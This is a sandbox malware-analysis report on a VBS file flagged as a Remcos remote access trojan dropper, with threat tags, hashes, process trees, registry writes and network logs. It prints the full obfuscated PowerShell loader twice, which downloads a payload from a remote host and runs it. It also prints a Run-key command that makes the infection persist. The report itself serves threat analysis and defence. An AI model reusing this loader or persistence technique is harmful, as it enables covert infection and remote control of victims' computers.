File name:

SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs

Full analysis: https://app.any.run/tasks/0497a119-a97a-4846-a5a5-979847cdeaa5
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: November 27, 2024, 08:13:29
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
rat
remcos
evasion
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

83BB52876C9E18331047C18BEABECAA6

SHA1:

0CE3290BEE56BEC9662D1A1483E0ABCFDD27D5E4

SHA256:

34F96275918322AD5DF35688F0D2C144EBE0FA84B074D7F25CA112B2E71370DD

SSDEEP:

384:PTBcsgRgCHXO/jmovrQQ51yUVG/Pk6yTvB:rBggCHXO/p8Q2UVG/lyTJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes malicious content triggered by hijacked COM objects (POWERSHELL)

      • powershell.exe (PID: 1576)

    • Connects to the CnC server

      • msiexec.exe (PID: 4516)

    • REMCOS has been detected (SURICATA)

      • msiexec.exe (PID: 4516)

  • SUSPICIOUS

    • Suspicious use of asymmetric encryption in PowerShell

      • wscript.exe (PID: 4076)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 4076)

    • Base64-obfuscated command line is found

      • wscript.exe (PID: 4076)

    • Gets a collection of all available drive names (SCRIPT)

      • wscript.exe (PID: 4076)

    • Gets the drive type (SCRIPT)

      • wscript.exe (PID: 4076)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 4076)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 1576)
      • powershell.exe (PID: 7004)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1576)
      • powershell.exe (PID: 7004)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 7004)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 236)

    • Application launched itself

      • msiexec.exe (PID: 4516)

    • Contacting a server suspected of hosting an CnC

      • msiexec.exe (PID: 4516)

    • Checks for external IP

      • msiexec.exe (PID: 4516)

    • Starts CMD.EXE for commands execution

      • msiexec.exe (PID: 4516)

    • Connects to unusual port

      • msiexec.exe (PID: 4516)

  • INFO

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 1576)
      • powershell.exe (PID: 7004)

    • Disables trace logs

      • powershell.exe (PID: 1576)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 1576)
      • powershell.exe (PID: 7004)

    • Manual execution by a user

      • powershell.exe (PID: 7004)

    • Checks proxy server information

      • powershell.exe (PID: 1576)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7004)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7004)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
139
Monitored processes
14
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs #REMCOS msiexec.exe cmd.exe no specs conhost.exe no specs reg.exe no specs svchost.exe msiexec.exe no specs msiexec.exe no specs msiexec.exe no specs msiexec.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
236"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"C:\Windows\SysWOW64\cmd.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
396REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"C:\Windows\SysWOW64\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
1144\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1576"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3584\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4076"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4516"C:\WINDOWS\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
4672C:\WINDOWS\System32\msiexec.exe /stext "C:\Users\admin\AppData\Local\Temp\yygkyz"C:\Windows\SysWOW64\msiexec.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
4764C:\WINDOWS\System32\msiexec.exe /stext "C:\Users\admin\AppData\Local\Temp\jtmdzrsoy"C:\Windows\SysWOW64\msiexec.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
Total events
14 600
Read events
14 591
Write events
9
Delete events
0

Modification events

(PID) Process:(4516) msiexec.exeKey:HKEY_CURRENT_USER\SOFTWARE\efterretternes
Operation:writeName:Bringende
Value:
;$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;
(PID) Process:(396) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Helicteres
Value:
%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)
(PID) Process:(4516) msiexec.exeKey:HKEY_CURRENT_USER\Environment
Operation:writeName:Retill
Value:
c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
(PID) Process:(4516) msiexec.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(4516) msiexec.exeKey:HKEY_CURRENT_USER\SOFTWARE\osfrerlhkrw-BTZQ53
Operation:writeName:exepath
Value:
16CE0CA824F39F7D4825AA86740E6C9D1AAB3F8DB8B65625FF7DC47E4157CD3DBC2131DC7AA344CD9595B38B4FC1225D010B9367FA1CE1991CAAE6BA6B736455
(PID) Process:(4516) msiexec.exeKey:HKEY_CURRENT_USER\SOFTWARE\osfrerlhkrw-BTZQ53
Operation:writeName:licence
Value:
A50B4E1827E5E91731AD54D18FA816AE
(PID) Process:(4516) msiexec.exeKey:HKEY_CURRENT_USER\SOFTWARE\osfrerlhkrw-BTZQ53
Operation:writeName:time
Value:
(PID) Process:(4516) msiexec.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(4516) msiexec.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
0
Suspicious files
8
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
4952msiexec.exeC:\Users\admin\AppData\Local\Temp\bhvE998.tmp —
MD5:—
SHA256:—
1576powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2qu2eqfl.mkj.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7004powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
1576powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_25engpho.sge.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4516msiexec.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12binary
MD5:EC6A721FC20E740D587C479A17AB62AA
SHA256:10C44A1FC318B6DDEE25C2ECC18107049932843589F1C1FD245ED8C17C472B2E
1576powershell.exeC:\Users\admin\AppData\Roaming\Medlemsstat.Tiotext
MD5:563685C67E8507FB188FF0B8DBDFDB4B
SHA256:A9B82A9A5555D5DCBB31DFD0D2226C19C284A9D5AECBCB942F9F12CDE148BD0A
4516msiexec.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8binary
MD5:289938E033335A33AABF10363E928628
SHA256:99BBA6A05F250B00F5152FB1DC0F6C4D6952B435D7078B89285CD0D95AB49C58
4516msiexec.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12der
MD5:67E486B2F148A3FCA863728242B6273E
SHA256:FACAF1C3A4BF232ABCE19A2D534E495B0D3ADC7DBE3797D336249AA6F70ADCFB
4952msiexec.exeC:\Users\admin\AppData\Local\Temp\owtzxgxtwhduvmibxmqwijycahqqsxbxctext
MD5:73AFEF57A57FF8285682E59AEBA8FE4A
SHA256:9081F636845E9A6B7D781F2F35A28B33B7FDF5373075B435C5B373119D0934A3
4516msiexec.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8binary
MD5:971C514F84BBA0785F80AA1C23EDFD79
SHA256:F157ED17FCAF8837FA82F8B69973848C9B10A02636848F995698212A08F31895
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
41
DNS requests
21
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
3700
